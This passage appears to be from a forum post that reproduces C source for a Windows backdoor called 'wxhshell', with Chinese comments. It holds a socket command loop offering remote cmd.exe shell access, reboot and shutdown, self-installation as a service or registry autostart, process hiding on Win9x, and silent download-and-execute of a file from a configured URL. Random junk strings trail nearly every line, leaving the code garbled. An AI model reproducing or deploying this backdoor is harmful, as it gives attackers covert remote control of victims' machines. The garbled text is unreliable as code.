  // 安装 j|N<6GSke  
  case 'i': { eMmNQRmH  
    if(Install()) #d/T7c#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~UNha/nt  
    else l(}L-:@A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $8AW  
    break; $|3zsi2  
    } 84WcaH  
  // 卸载 6-)WXJ@V  
  case 'r': { T JZ~Rpq  
    if(Uninstall()) rXE0jTf:a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <p/2hHfiD  
    else Md~._@`|K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yh fQ pe  
    break; 4dLnX3 v  
    } /`DKX }  
  // 显示 wxhshell 所在路径 37Q8Yf_  
  case 'p': { llWY7u"  
    char svExeFile[MAX_PATH]; 1EC;t1.7  
    strcpy(svExeFile,"\n\r"); HuU$x;~  
      strcat(svExeFile,ExeFile); \0_jmX]p  
        send(wsh,svExeFile,strlen(svExeFile),0); ;Oqf{em];  
    break; P3Lsfi.  
    } CV\y60n  
  // 重启 o|c6=77043  
  case 'b': { vf+z0df  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hs:zfvD  
    if(Boot(REBOOT)) [[6" qq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WWZ<[[ >  
    else { oSkQ/5hg.  
    closesocket(wsh); bR~(Ry`  
    ExitThread(0); _;Xlw{FN^  
    } tgi%#8ZDpz  
    break; vR2);ywX  
    } Dc$q0|N=z  
  // 关机 Pc< "qy  
  case 'd': { :9%e:-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eB1NM<V  
    if(Boot(SHUTDOWN)) D M+MBK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I9>vm]  
    else { &0%Z b~ts  
    closesocket(wsh); F --b,,  
    ExitThread(0); dg|x(p#  
    } SOM? 0.  
    break; T#E$sZ  
    } YGLq ~A  
  // 获取shell v~T)g"_|  
  case 's': { /Wjc\n$'  
    CmdShell(wsh); @SiV3k  
    closesocket(wsh); 0a8\{(w  
    ExitThread(0); h-;> v.  
    break; . _|=Btoo  
  } izaqEz  
  // 退出 -s`Wd4AP  
  case 'x': { a3\~AO H%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,IqE<i!U  
    CloseIt(wsh); !&g_hmnIF  
    break; 3Wbd=^hRvq  
    } V4ePYud;^  
  // 离开 3%1wQXr0  
  case 'q': { A46q`l9B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jdu6P+_8n  
    closesocket(wsh); lnyq%T[^  
    WSACleanup(); 9< 07# 8c.  
    exit(1); e@0|fB%2  
    break; knG:6tQ  
        } O TlqJ  
  } oST)E5X;7  
  } )V[j~uOU)]  
)$9w Kk\F  
  // 提示信息 +p Ywc0~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0=6mb]VUi=  
} 1t &_]q_  
  } g|?}a]G  
%%?}db1n  
  return; 0|tyKP|J  
} QK0]9   
eZ]r"_?  
// shell模块句柄 /*Q3=Dse]  
int CmdShell(SOCKET sock) X=)L$Kd7  
{ A>upT'  
STARTUPINFO si; P![ZO6`:W'  
ZeroMemory(&si,sizeof(si)); ,e;,+w=~E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vnQFq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f~a 7E;y  
PROCESS_INFORMATION ProcessInfo; P[q>;Fx*  
char cmdline[]="cmd"; %#v$d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6wwbH}*=?  
  return 0; NcF>}f,}\  
} $3>Rw/,  
B F gxa#De  
// 自身启动模式 S}U_uZ$b  
int StartFromService(void) Y 'X!T8  
{ "i/GzD7`n  
typedef struct hDW_a y4  
{ $#s5y~z  
  DWORD ExitStatus; 2ns,q0I A  
  DWORD PebBaseAddress; BV>9U5  
  DWORD AffinityMask; /]Y#*r8jRi  
  DWORD BasePriority; v@[3R7|4  
  ULONG UniqueProcessId; \9V_[xD+  
  ULONG InheritedFromUniqueProcessId; m]MR\E5]By  
}   PROCESS_BASIC_INFORMATION; 5Wa)_@qI)`  
 XA;PWl5!  
PROCNTQSIP NtQueryInformationProcess; R--s u:  
2 SD Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &R4?]I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tb?XKO,  
_$@fCo0  
  HANDLE             hProcess; ineSo8| @  
  PROCESS_BASIC_INFORMATION pbi; yy8BkG(  
Kn5C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y|MhV/P04  
  if(NULL == hInst ) return 0; 4To$!=  
~< UYJc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wc+(xk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9M9Fif.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2(3Q#3V  
x+6z9{O  
  if (!NtQueryInformationProcess) return 0; 'h6G"=+  
O^-QqCZE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gTTKjlI [  
  if(!hProcess) return 0; R,PN?aj  
sgK =eBE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; af>i  
L,#YP#O,j  
  CloseHandle(hProcess); rqN+0CT  
|z_Dw$-xm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5cQ]vb  
if(hProcess==NULL) return 0; jmv=rl>E*  
@aUNyyVP  
HMODULE hMod; F1$XUos9  
char procName[255]; ,WOCG 2h  
unsigned long cbNeeded; {{P 3Z[  
=#9#unvE!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qG 20  
} #e=*8F7  
  CloseHandle(hProcess); _^b\#Jz4U3  
]O:8o<0  
if(strstr(procName,"services")) return 1; // 以服务启动 z-We>KX  
Jf7H;ZM<  
  return 0; // 注册表启动 Hi K+}?I  
} 2oahQ: }B  
Gd\/n*j  
// 主模块 db1ZNw  
int StartWxhshell(LPSTR lpCmdLine) 9x4z m  
{ ivl %%nY'  
  SOCKET wsl; $04lL/;  
BOOL val=TRUE; A#I&&qZ  
  int port=0; w ]T_%mdk  
  struct sockaddr_in door; _)Txg2?=  
<$A/ ('  
  if(wscfg.ws_autoins) Install(); {N{eOa<HA  
(oy@j{G)c6  
port=atoi(lpCmdLine); ojBdUG\  
i.On{nB"k  
if(port<=0) port=wscfg.ws_port; RXAE jzf   
Z*q&^/N  
  WSADATA data; @]~.-(IMh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;rL1[qwk  
ceks~[rP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o!+'< IQ'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |*zgX]-+;  
  door.sin_family = AF_INET; HX| p4-L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R-ek O7z  
  door.sin_port = htons(port); )^qXjF  
P6>C+T1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qlPIxd  
closesocket(wsl); cL4Go,)w  
return 1; $RI$VyAjD  
} _ti^i\8~  
X}3?k<m  
  if(listen(wsl,2) == INVALID_SOCKET) { Kzq^f=p  
closesocket(wsl); ynMYf  
return 1; OMjPC_  
} hC<E4+5.,  
  Wxhshell(wsl); mpwh=  
  WSACleanup(); {_\dwe9  
z@19gD#8  
return 0; 4|\M`T  
u|$HA>F[  
} A~E S{Zkh  
8irTGA  
// 以NT服务方式启动 f&5S`}C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I'{Ctc  
{ (HeSL),1  
DWORD   status = 0; Pr%KcR ;  
  DWORD   specificError = 0xfffffff; E,?IIRg&  
hUvA;E(qD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; Gv-$0{P3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g6DIWMoO=h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gk8 v{'0Er  
  serviceStatus.dwWin32ExitCode     = 0; 7vPG b:y  
  serviceStatus.dwServiceSpecificExitCode = 0; \+U;$.)3  
  serviceStatus.dwCheckPoint       = 0; #Cs/.(<  
  serviceStatus.dwWaitHint       = 0;  Y~^R^J  
$;ny`^8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |p*cI @  
  if (hServiceStatusHandle==0) return; X_ Lt{mf  
{y@8E>y5$  
status = GetLastError(); =$#5Ge]b  
  if (status!=NO_ERROR) aG =6(ec.  
{ "Zn nb*pOM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G){+.X4g3  
    serviceStatus.dwCheckPoint       = 0; M{)eA<6  
    serviceStatus.dwWaitHint       = 0; A\7sP =  
    serviceStatus.dwWin32ExitCode     = status; _f>)G3p  
    serviceStatus.dwServiceSpecificExitCode = specificError; RlvvO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T&S=/cRBK}  
    return; ^e]O >CJ  
  } e9:pS WA-n  
Q8l vwip  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gxI/MD~!>  
  serviceStatus.dwCheckPoint       = 0; c(8>oeKyD  
  serviceStatus.dwWaitHint       = 0; k:j?8o3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &l-d_dh  
} HtE^7i*_  
438r]f?0|{  
// 处理NT服务事件,比如:启动、停止 DrBkR` a?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jc>B^mqx  
{ 9$[MM*r  
switch(fdwControl) xo ^|d3  
{ d,meKQ n  
case SERVICE_CONTROL_STOP: :D2GLq*\  
  serviceStatus.dwWin32ExitCode = 0; !]mo.zDSW5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x=W s)&H_Y  
  serviceStatus.dwCheckPoint   = 0; <]oPr1  
  serviceStatus.dwWaitHint     = 0; 4V]xVma  
  { 5?(dI9A"K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i,Jz 7OX  
  } (A}c22qe  
  return; *j1Skd.#At  
case SERVICE_CONTROL_PAUSE: !](Mt?e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {~g7&+9x*  
  break; Z!'k N\z  
case SERVICE_CONTROL_CONTINUE: 2.{<C.BK{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l)DcwkIG  
  break; 6oq^n s-  
case SERVICE_CONTROL_INTERROGATE: "J}B lB  
  break; m\ qR myO  
}; Q>w)b]d~c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wax^iL!  
} b=WkRj  
kwS[,Qy\  
// 标准应用程序主函数 [CV0sYEA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |D'!.$7%  
{ F$:mGyl5_  
Q3t%JP>;g  
// 获取操作系统版本 wc}x [cS  
OsIsNt=GetOsVer(); }+[!h=Bx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?"}U?m=  
_m#TL60m  
  // 从命令行安装 L5&,sJz  
  if(strpbrk(lpCmdLine,"iI")) Install(); FO]f 4@  
.OW5R*  
  // 下载执行文件 %.uN|o&n  
if(wscfg.ws_downexe) { 1T,Bd!g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %>O}bdSf  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xpkj44cd@  
} >A6PH*x  
%2G3+T8*x  
if(!OsIsNt) { Ia^/^>  
// 如果时win9x,隐藏进程并且设置为注册表启动 )J[Ady^5  
HideProc(); .'-t>(}v  
StartWxhshell(lpCmdLine); [a^<2V!vMn  
} [c=![ *}/  
else b4ke'gx  
  if(StartFromService()) P=9sP:[f6  
  // 以服务方式启动 5rA>2<\pQ  
  StartServiceCtrlDispatcher(DispatchTable); 9/#b1NGv  
else geqx":gpx9  
  // 普通方式启动 `I|Y7GoUO  
  StartWxhshell(lpCmdLine); zrtbk~v8y  
j_zy"8Y{  
return 0; dW^#}kN7V  
}
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只看该作者 1 发表于: 2006-10-10
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